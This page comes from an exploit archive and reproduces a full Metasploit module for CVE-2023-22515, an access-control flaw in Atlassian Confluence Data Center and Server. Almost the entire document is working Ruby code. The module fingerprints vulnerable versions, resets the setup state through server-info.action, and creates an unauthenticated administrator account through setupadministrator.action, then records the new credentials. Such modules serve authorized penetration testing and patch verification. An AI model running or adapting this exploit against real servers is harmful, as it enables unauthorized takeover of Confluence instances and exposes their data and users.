Atlassian confluence data center and server authentication bypass (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2024-02-27 | Type : webapps | Platform : multiple

---

[+] Code ...

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control',
'Description' => %q{
This module exploits a broken access control vulnerability in Atlassian Confluence servers leading to an authentication bypass.
A specially crafted request can be create new admin account without authentication on the target Atlassian server.
},
'Author' => [
'Unknown', # exploited in the wild
'Emir Polat' # metasploit module
],
'References' => [
['CVE', '2023-22515'],
['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-22515'],
['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis']
],
'DisclosureDate' => '2023-10-04',
'DefaultOptions' => {
'RPORT' => 8090
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/login.action')
)
return Exploit::CheckCode::Unknown unless res
return Exploit::CheckCode::Safe unless res.code == 200

poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text
return Exploit::CheckCode::Safe unless poweredby =~ /Confluence (\d+(\.\d+)*)/

confluence_version = Rex::Version.new(Regexp.last_match(1))

vprint_status("Detected Confluence version: #{confluence_version}")

if confluence_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.3.2')) ||
confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.2')) ||
confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.1'))
return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
end

Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
end

def run
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/server-info.action'),
'vars_get' => {
'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'
}
)

return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Version vulnerable but setup is already completed') unless res&.code == 302 || res&.code == 200

print_good('Found server-info.action! Trying to ignore setup.')

created_user = create_admin_user

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup/finishsetup.action'),
'headers' => {
'X-Atlassian-Token' => 'no-check'
}
)

return fail_with(Msf::Exploit::Failure::NoAccess, 'The admin user could not be created. Try a different username.') unless created_user

print_warning('Admin user was created but setup could not be completed.') unless res&.code == 200

create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: datastore['NEW_USERNAME'],
private_type: :password,
private_data: datastore['NEW_PASSWORD'],
service_name: 'Atlassian Confluence',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})

print_good("Admin user was created successfully. Credentials: #{datastore['NEW_USERNAME']} - #{datastore['NEW_PASSWORD']}")
print_good("Now you can login as administrator from: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}login.action")
end

def create_admin_user
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup/setupadministrator.action'),
'headers' => {
'X-Atlassian-Token' => 'no-check'
},
'vars_post' => {
'username' => datastore['NEW_USERNAME'],
'fullName' => 'New Admin',
'email' => datastore['NEW_EMAIL'],
'password' => datastore['NEW_PASSWORD'],
'confirm' => datastore['NEW_PASSWORD'],
'setup-next-button' => 'Next'
}
)
res&.code == 302
end
end